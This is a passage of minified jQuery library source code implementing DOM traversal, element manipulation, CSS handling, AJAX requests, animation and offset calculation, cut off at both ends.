c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e): -e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!== -b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/<tbody/i,gb=/<|&\w+;/,sa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ia=function(a,b,d){return eb.test(d)?a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"], -col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)}, -wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length? -d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments, -false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&& -!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/<script/i.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(Ha.exec(a)|| -["",""])[1].toLowerCase()]){a=a.replace(Ga,Ia);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var i=c(this),j=i.html();i.empty().append(function(){return a.call(this,e,j)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this, -b,f))});else a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(s){return c.nodeName(s,"table")?s.getElementsByTagName("tbody")[0]||s.appendChild(s.ownerDocument.createElement("tbody")):s}var e,i,j=a[0],n=[];if(!c.support.checkClone&&arguments.length===3&&typeof j=== -"string"&&sa.test(j))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(j))return this.each(function(s){var x=c(this);a[0]=j.call(this,s,b?x.html():v);x.domManip(a,b,d)});if(this[0]){e=a[0]&&a[0].parentNode&&a[0].parentNode.nodeType===11?{fragment:a[0].parentNode}:ra(a,this,n);if(i=e.fragment.firstChild){b=b&&c.nodeName(i,"tr");for(var o=0,m=this.length;o<m;o++)d.call(b?f(this[o],i):this[o],e.cacheable||this.length>1||o>0?e.fragment.cloneNode(true):e.fragment)}n&&c.each(n, -Ma)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);for(var e=0,i=d.length;e<i;e++){var j=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),j);f=f.concat(j)}return this.pushStack(f,a,d.selector)}});c.each({remove:function(a,b){if(!a||c.filter(a,[this]).length){if(!b&&this.nodeType===1){c.cleanData(this.getElementsByTagName("*"));c.cleanData([this])}this.parentNode&& -this.parentNode.removeChild(this)}},empty:function(){for(this.nodeType===1&&c.cleanData(this.getElementsByTagName("*"));this.firstChild;)this.removeChild(this.firstChild)}},function(a,b){c.fn[a]=function(){return this.each(b,arguments)}});c.extend({clean:function(a,b,d,f){b=b||r;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||r;var e=[];c.each(a,function(i,j){if(typeof j==="number")j+="";if(j){if(typeof j==="string"&&!gb.test(j))j=b.createTextNode(j);else if(typeof j=== -"string"){j=j.replace(Ga,Ia);var n=(Ha.exec(j)||["",""])[1].toLowerCase(),o=F[n]||F._default,m=o[0];i=b.createElement("div");for(i.innerHTML=o[1]+j+o[2];m--;)i=i.lastChild;if(!c.support.tbody){m=fb.test(j);n=n==="table"&&!m?i.firstChild&&i.firstChild.childNodes:o[1]==="<table>"&&!m?i.childNodes:[];for(o=n.length-1;o>=0;--o)c.nodeName(n[o],"tbody")&&!n[o].childNodes.length&&n[o].parentNode.removeChild(n[o])}!c.support.leadingWhitespace&&V.test(j)&&i.insertBefore(b.createTextNode(V.exec(j)[0]),i.firstChild); -j=c.makeArray(i.childNodes)}if(j.nodeType)e.push(j);else e=c.merge(e,j)}});if(d)for(a=0;e[a];a++)if(f&&c.nodeName(e[a],"script")&&(!e[a].type||e[a].type.toLowerCase()==="text/javascript"))f.push(e[a].parentNode?e[a].parentNode.removeChild(e[a]):e[a]);else{e[a].nodeType===1&&e.splice.apply(e,[a+1,0].concat(c.makeArray(e[a].getElementsByTagName("script"))));d.appendChild(e[a])}return e},cleanData:function(a){for(var b=0,d;(d=a[b])!=null;b++){c.event.remove(d);c.removeData(d)}}});var hb=/z-?index|font-?weight|opacity|zoom|line-?height/i, -Ja=/alpha\([^)]*\)/,Ka=/opacity=([^)]*)/,ga=/float/i,ha=/-([a-z])/ig,ib=/([A-Z])/g,jb=/^-?\d+(?:px)?$/i,kb=/^-?\d/,lb={position:"absolute",visibility:"hidden",display:"block"},mb=["Left","Right"],nb=["Top","Bottom"],ob=r.defaultView&&r.defaultView.getComputedStyle,La=c.support.cssFloat?"cssFloat":"styleFloat",ia=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===v)return c.curCSS(d,f);if(typeof e==="number"&&!hb.test(f))e+="px";c.style(d,f,e)})}; -c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return v;if((b==="width"||b==="height")&&parseFloat(d)<0)d=v;var f=a.style||a,e=d!==v;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Ja.test(a)?a.replace(Ja,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Ka.exec(f.filter)[1])/100+"":""}if(ga.test(b))b=La;b=b.replace(ha,ia);if(e)f[b]=d;return f[b]},css:function(a, -b,d,f){if(b==="width"||b==="height"){var e,i=b==="width"?mb:nb;function j(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(i,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?j():c.swap(a,lb,j);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&& -a.currentStyle){f=Ka.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ga.test(b))b=La;if(!d&&e&&e[b])f=e[b];else if(ob){if(ga.test(b))b="float";b=b.replace(ib,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ha,ia);f=a.currentStyle[b]||a.currentStyle[d];if(!jb.test(f)&&kb.test(f)){b=e.left;var i=a.runtimeStyle.left;a.runtimeStyle.left= -a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=i}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var pb= -J(),qb=/<script(.|\s)*?\/script>/gi,rb=/select|textarea/i,sb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ja=/\?/,tb=/(\?|&)_=.*?(&|$)/,ub=/^(\w+:)?\/\/([^\/?#]+)/,vb=/%20/g;c.fn.extend({_load:c.fn.load,load:function(a,b,d){if(typeof a!=="string")return this._load(a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b= -c.param(b,c.ajaxSettings.traditional);f="POST"}var i=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(j,n){if(n==="success"||n==="notmodified")i.html(e?c("<div />").append(j.responseText.replace(qb,"")).find(e):j.responseText);d&&i.each(d,[j.responseText,n,j])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&& -(this.checked||rb.test(this.nodeName)||sb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a, -b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:z.XMLHttpRequest&&(z.location.protocol!=="file:"||!z.ActiveXObject)?function(){return new z.XMLHttpRequest}: -function(){try{return new z.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(o,n,j,w);e.global&&f("ajaxSuccess",[w,e])}function d(){e.complete&&e.complete.call(o,w,j);e.global&&f("ajaxComplete",[w,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")} -function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),i,j,n,o=a&&a.context||e,m=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(m==="GET")N.test(e.url)||(e.url+=(ja.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)|| -N.test(e.url))){i=e.jsonpCallback||"jsonp"+pb++;if(e.data)e.data=(e.data+"").replace(N,"="+i+"$1");e.url=e.url.replace(N,"="+i+"$1");e.dataType="script";z[i]=z[i]||function(q){n=q;b();d();z[i]=v;try{delete z[i]}catch(p){}A&&A.removeChild(B)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&m==="GET"){var s=J(),x=e.url.replace(tb,"$1_="+s+"$2");e.url=x+(x===e.url?(ja.test(e.url)?"&":"?")+"_="+s:"")}if(e.data&&m==="GET")e.url+=(ja.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&& -c.event.trigger("ajaxStart");s=(s=ub.exec(e.url))&&(s[1]&&s[1]!==location.protocol||s[2]!==location.host);if(e.dataType==="script"&&m==="GET"&&s){var A=r.getElementsByTagName("head")[0]||r.documentElement,B=r.createElement("script");B.src=e.url;if(e.scriptCharset)B.charset=e.scriptCharset;if(!i){var C=false;B.onload=B.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;b();d();B.onload=B.onreadystatechange=null;A&&B.parentNode&& -A.removeChild(B)}}}A.insertBefore(B,A.firstChild);return v}var E=false,w=e.xhr();if(w){e.username?w.open(m,e.url,e.async,e.username,e.password):w.open(m,e.url,e.async);try{if(e.data||a&&a.contentType)w.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&w.setRequestHeader("If-None-Match",c.etag[e.url])}s||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept", -e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(fa){}if(e.beforeSend&&e.beforeSend.call(o,w,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");w.abort();return false}e.global&&f("ajaxSend",[w,e]);var g=w.onreadystatechange=function(q){if(!w||w.readyState===0||q==="abort"){E||d();E=true;if(w)w.onreadystatechange=c.noop}else if(!E&&w&&(w.readyState===4||q==="timeout")){E=true;w.onreadystatechange=c.noop;j=q==="timeout"?"timeout":!c.httpSuccess(w)? -"error":e.ifModified&&c.httpNotModified(w,e.url)?"notmodified":"success";var p;if(j==="success")try{n=c.httpData(w,e.dataType,e)}catch(u){j="parsererror";p=u}if(j==="success"||j==="notmodified")i||b();else c.handleError(e,w,j,p);d();q==="timeout"&&w.abort();if(e.async)w=null}};try{var h=w.abort;w.abort=function(){w&&h.call(w);g("abort")}}catch(k){}e.async&&e.timeout>0&&setTimeout(function(){w&&!E&&g("timeout")},e.timeout);try{w.send(m==="POST"||m==="PUT"||m==="DELETE"?e.data:null)}catch(l){c.handleError(e, -w,null,l);d()}e.async||g();return w}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]= -f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(j,n){if(c.isArray(n))c.each(n, -function(o,m){b?f(j,m):d(j+"["+(typeof m==="object"||c.isArray(m)?o:"")+"]",m)});else!b&&n!=null&&typeof n==="object"?c.each(n,function(o,m){d(j+"["+o+"]",m)}):f(j,n)}function f(j,n){n=c.isFunction(n)?n():n;e[e.length]=encodeURIComponent(j)+"="+encodeURIComponent(n)}var e=[];if(b===v)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var i in a)d(i,a[i]);return e.join("&").replace(vb,"+")}});var ka={},wb=/toggle|show|hide/,xb=/^([+-]=)?([\d+-.]+)(.*)$/, -W,ta=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(ka[d])f=ka[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove(); -ka[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&& -c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var i=c.extend({},e),j,n=this.nodeType===1&&c(this).is(":hidden"), -o=this;for(j in a){var m=j.replace(ha,ia);if(j!==m){a[m]=a[j];delete a[j];j=m}if(a[j]==="hide"&&n||a[j]==="show"&&!n)return i.complete.call(this);if((j==="height"||j==="width")&&this.style){i.display=c.css(this,"display");i.overflow=this.style.overflow}if(c.isArray(a[j])){(i.specialEasing=i.specialEasing||{})[j]=a[j][1];a[j]=a[j][0]}}if(i.overflow!=null)this.style.overflow="hidden";i.curAnim=c.extend({},a);c.each(a,function(s,x){var A=new c.fx(o,i,s);if(wb.test(x))A[x==="toggle"?n?"show":"hide":x](a); -else{var B=xb.exec(x),C=A.cur(true)||0;if(B){x=parseFloat(B[2]);var E=B[3]||"px";if(E!=="px"){o.style[s]=(x||1)+E;C=(x||1)/A.cur(true)*C;o.style[s]=C+E}if(B[1])x=(B[1]==="-="?-1:1)*x+C;A.custom(C,x,E)}else A.custom(C,x,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle", -1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a, -b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]== -null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(i){return e.step(i)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop=== -"width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow= -this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos= -c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!= -null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in r.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(), -f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(s){c.offset.setOffset(this,a,s)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f= -b,e=b.ownerDocument,i,j=e.documentElement,n=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var o=b.offsetTop,m=b.offsetLeft;(b=b.parentNode)&&b!==n&&b!==j;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;i=e?e.getComputedStyle(b,null):b.currentStyle;o-=b.scrollTop;m-=b.scrollLeft;if(b===d){o+=b.offsetTop;m+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){o+=parseFloat(i.borderTopWidth)|| -0;m+=parseFloat(i.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&i.overflow!=="visible"){o+=parseFloat(i.borderTopWidth)||0;m+=parseFloat(i.borderLeftWidth)||0}f=i}if(f.position==="relative"||f.position==="static"){o+=n.offsetTop;m+=n.offsetLeft}if(c.offset.supportsFixedPosition&&f.position==="fixed"){o+=Math.max(j.scrollTop,n.scrollTop);m+=Math.max(j.scrollLeft,n.scrollLeft)}return{top:o,left:m}};c.offset={initialize:function(){var a=r.body,b=r.createElement("div"), -d,f,e,i=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild); -d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i;a.removeChild(b);c.offset.initialize=c.noop}, -bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),i=parseInt(c.curCSS(a,"top",true),10)||0,j=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+i,left:b.left- -e.left+j};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a= -this.offsetParent||r.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],i;if(!e)return null;if(f!==v)return this.each(function(){if(i=ua(this))i.scrollTo(!a?f:c(i).scrollLeft(),a?f:c(i).scrollTop());else this[d]=f});else return(i=ua(e))?"pageXOffset"in i?i[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&i.document.documentElement[d]||i.document.body[d]:e[d]}}); -c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(i){var j=c(this);j[d](f.call(this,i,j[d]()))});return"scrollTo"in 